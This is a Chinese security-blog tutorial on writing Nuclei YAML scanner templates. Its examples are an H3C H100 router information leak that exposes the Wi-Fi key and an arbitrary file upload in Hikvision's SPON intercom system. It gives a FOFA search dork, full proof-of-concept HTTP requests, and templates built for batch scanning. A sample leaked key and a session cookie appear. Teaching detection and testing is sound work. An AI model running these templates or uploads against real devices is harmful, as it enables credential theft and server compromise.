Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

admin 2024年6月8日22:43:51评论3 views字数 5695阅读18分59秒阅读模式
本文由安云安全内部群-鲁鲁师傅原创投稿,hao师傅进行排版及校对

前情提要

基础篇没看过的师傅建议先看一下关于Yaml脚本的基础知识及往期文章: 

【脚本编写】Nuclei-yaml脚本速成新手教程--基础篇

【脚本编写】Nuclei-yaml脚本速成新手教程--SQL注入篇

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

信息泄露篇

信息泄露是我们在日常渗透测试过程中,比较常见的一种漏洞,这种漏洞的POC相对来说比较好写一些,下面我们用H3C-H100路由器信息泄露为案例进行讲解。
案例说明

H3C Magic H100是新华三技术有限公司特别设计的全千兆家庭智能中枢。H3C-H100路由器信息泄露漏洞,可泄露用户泄露密码
FOFA:body="/grwizard/h3c.ico" 

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

    在SQL注入篇的时候我们说过,无论是GET或者POST方式,只需要保留必要字段,其余的删除并不影响HTTP请求,所以,这里为了整洁一些,我删除了不需要的部分,只保留get请求、协议版本、以及HOST信息。删除不需要部分内容后,漏洞POC如下:
GET /h3c/local/ssidName HTTP/1.1Host: 127.0.0.1:8080
yaml文件编写

首先,分析下poc的具体情况:

漏洞位置在/h3c/local/ssidName,密码就在ssidKey字段中

(其实这里泄露的不是密码,只是ssidkey值中的内容,与密码经常会保持一致)

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

知道了具体漏洞特征后,那么,我们开始编写批量扫描脚本吧:

首先先把模板的标题和信息块固定好

id: H3C-H100-router-infoinfo:  name: H3C-H100-router-info  author: 思沃科技  severity: high  description: H3C-H100路由器-信息泄露漏洞

模板固定好以后,就是POC的正文:

已知条件:通过GET方式请求问题链接

/h3c/local/ssidName

如果存在漏洞,即可获取ssidkey信息

那么,我们按照上图的细节,进行编写:

id: H3C-H100-router-infoinfo:  name: H3C-H100-router-info  author: 思沃科技  severity: high  description: H3C-H100路由器-信息泄露漏洞http:  - raw:      - |        GET /h3c/local/ssidName HTTP/1.1        Host: {{Hostname}}
在我们进行编写时,有些时候,我们并不知道这个漏洞会产生什么信息以及获取什么内容,在不知道这些情况的前提下,我们很难写出精确的特征,来完善我们的脚本,这里可以使用一个笨办法:

    首先,这个方法是通过GET方式去访问一个页面,那么,这个页面必须存在,才能判断是否有漏洞,对吧~ 那,我们先给这个GET方法,匹配一个HTTP响应码为200的请求吧,毕竟只有页面存在,才能知道有没有漏洞,要是返回404了,那还看个毛线啊~so……

id: H3C-H100-router-infoinfo:  name: H3C-H100-router-info  author: 思沃科技  severity: high  description: H3C-H100路由器-信息泄露漏洞http:  - raw:      - |        GET /h3c/local/ssidName HTTP/1.1        Host: {{Hostname}}    matchers:      - type: status        status:          - 200   #匹配响应码为200的请求

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

    我们可以看到,确实是可以匹配到存在该页面的站点,那么,挨个的访问看一下结果。

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

    这个站点虽然返回是200,但是ssidkey却是空的,用处不大,再看下一个,这个可以,ssidkey中有内容

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

    到目前来说,基本的测试已经结束了,但是光这样可不行,如果按照目前匹配响应码为200进行探测的话,那误报可就太多了

    既然已经知道了漏洞页面返回的一些内容,那么,我们就把这些关键词摘抄出来,作为判断依据,这样即使我们去扫描H3C其他类型的路由器,也不会误报了例如,我们将匹配规则稍微改动下:

id: H3C-H100-router-infoinfo:  name: H3C-H100-router-info  author: 思沃科技  severity: high  description: H3C-H100路由器-信息泄露漏洞http:  - raw:      - |        GET /h3c/local/ssidName HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Cookie: USGSESSID=a9523e6ede287f558817c3bbcf9a60be        Upgrade-Insecure-Requests: 1     matchers:      - type: word    #匹配关键词        part: body    #从body处进行匹配,如果你想匹配HTTP头信息,那么这里的“body”可以改成“header”,可以用来匹配cookie、User-Agent等信息;        words:          - "ssidKey"    #匹配response返回包中的关键词信息          - "ssidName5g"  #匹配response返回包中的关键词信息        condition: and   #同时满足上述两个规则后,则返回true。#密码就在ssidKey字段     #这是备注~~怕自己忘了就备注下

    这样就好很多了,至少误报的概率小了,其实,到这里,一个信息泄露的POC基本就写完了,但是,如果你有强迫症,请继续看:

    如果你觉得这样写太敷衍,那么可以换一种方式来折磨自己……不知道各位看官有没有注意到,该漏洞页面,返回的信息是json格式的

{ "retCode": 0, "ssidName24g": "Yingbao", "ssidName5g": "Yingbao_5G", "ssidKey": "winbull@123" }

    如果遇到这样的情况,你可以用之前《基础常识篇》里说到的方法,json筛选器来进行匹配

id: H3C-H100-router-infoinfo:  name: H3C-H100-router-info  author: 思沃科技  severity: high  description: H3C-H100路由器-信息泄露漏洞http:  - raw:      - |        GET /h3c/local/ssidName HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Cookie: USGSESSID=a9523e6ede287f558817c3bbcf9a60be        Upgrade-Insecure-Requests: 1     extractors:      #正则表达式提取器,可以将匹配到的内容提取出来      - type: json   #json筛选器        part: body   #从body处进行匹配        json:          - .ssidKey  #匹配规则,因为上文返回包信息只嵌套了一层括号,这里我们只需要这样写就足够了

我们来看下效果:

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

    可以看到,通过json筛选器,我们直接匹配到了想要的结果,并且,不为空的话,会输出对应的值,这样看起来是不是更方便一些呢?

    json正则匹配,可以从这个网站自己去测试哈,具体语法自行百度吧,毕竟这个不是这次要说的东西~~

文件上传篇

    文件上传漏洞,无论在日常渗透测试中,还是在攻防演练中,比较实用的一种漏洞,攻击者可以通过该漏洞,上传恶意脚本,从而达到获取服务器权限的目的。

    一般情况下,文件上传漏洞,除了要考虑绕过各种限制,上传我们的脚本文件以外,还需要获取上传路径,来进行访问。

    在文件上传漏洞的yaml文件编写时,我们最常见的情况有三种;

1.固定文件名+路径;

2.固定上传路径+随机文件名;

3.随机文件名+随机文件上传路径;

案例说明

    下面我们用海康威视SPON IP网络对讲广播系统addscenedata任意文件上传漏洞进行固定文件名+路径情况的讲解。
    Hikvision Intercom Broadcasting System是中国海康威视公司的一个对讲广播系统。海康威视SPON IP网络对讲广播系统addscenedata存在任意文件上传漏洞,恶意攻击者可能会上传恶意的后门文件,使服务器失陷。 
POST /php/addscenedata.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Connection: closeContent-Length: 218Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQAccept-Encoding: gzip------WebKitFormBoundary4LuoBRpTiVBo9cIQContent-Disposition: form-data; name="upload"; filename="9527.php"Content-Type: text/plain123------WebKitFormBoundary4LuoBRpTiVBo9cIQ--

文件上传位置:

/images/scene/9527.php

    像上述这样的情况,就是典型的固定上传路径+固定文件名的方式,写起来比较简单

Yaml文件编写

    首先,分析下poc的具体情况:POST请求提交上传数据+文件名

    知道了具体漏洞特征后,那么,我们开始编写批量扫描脚本吧:首先把模板的标题和信息块固定好

id: haikang-SPON-addscenedata-uploadinfo:  name: haikang-SPON-addscenedata-upload  author: 思沃科技  severity: high  description: 海康威视SPON IP网络对讲广播系统addscenedata存在任意文件上传漏洞

模板固定好以后,就是POC的正文:

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

那么,我们按照上图的细节,进行编写:

id: haikang-SPON-addscenedata-uploadinfo:  name: haikang-SPON-addscenedata-upload  author: 思沃科技  severity: high  description: 海康威视SPON IP网络对讲广播系统addscenedata存在任意文件上传漏洞http:  - raw:      - |        POST /php/addscenedata.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36        Connection: close        Content-Length: 218        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4LuoBRpTiVBo9cIQ        Accept-Encoding: gzip        ------WebKitFormBoundary4LuoBRpTiVBo9cIQ        Content-Disposition: form-data; name="upload"; filename="9527.php"        Content-Type: text/plain        123        ------WebKitFormBoundary4LuoBRpTiVBo9cIQ--      - |    #多请求的时候,一定要注意加  “-|”哈        GET /images/scene/9527.php HTTP/1.1        Host: {{Hostname}}        Accept-Encoding: gzip    matchers:      - type: dsl               dsl:          - "status_code == 200 && contains(body,'123')"       #匹配条件:页面返回响应码为200,并且,页面内的body中,包含“123”这个特征,同时满足两者,才会返回true。

    这个漏洞的yaml编写方式比较简单,也没用到新的知识点,就不再赘述了,这里我把备注标在代码里,方便大家理解。我们做下测试:

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

可以看到,确实是可以正常匹配到存在该漏洞的站点

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇

 

原文始发于微信公众号(银遁安全团队):【脚本编写】Nuclei-yaml脚本速成新手教程--信息泄露、文件上传篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月8日22:43:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nuclei-yaml脚本速成新手教程信息泄露、文件上传篇https://cn-sec.com/archives/2816268.html

发表评论

匿名网友 填写信息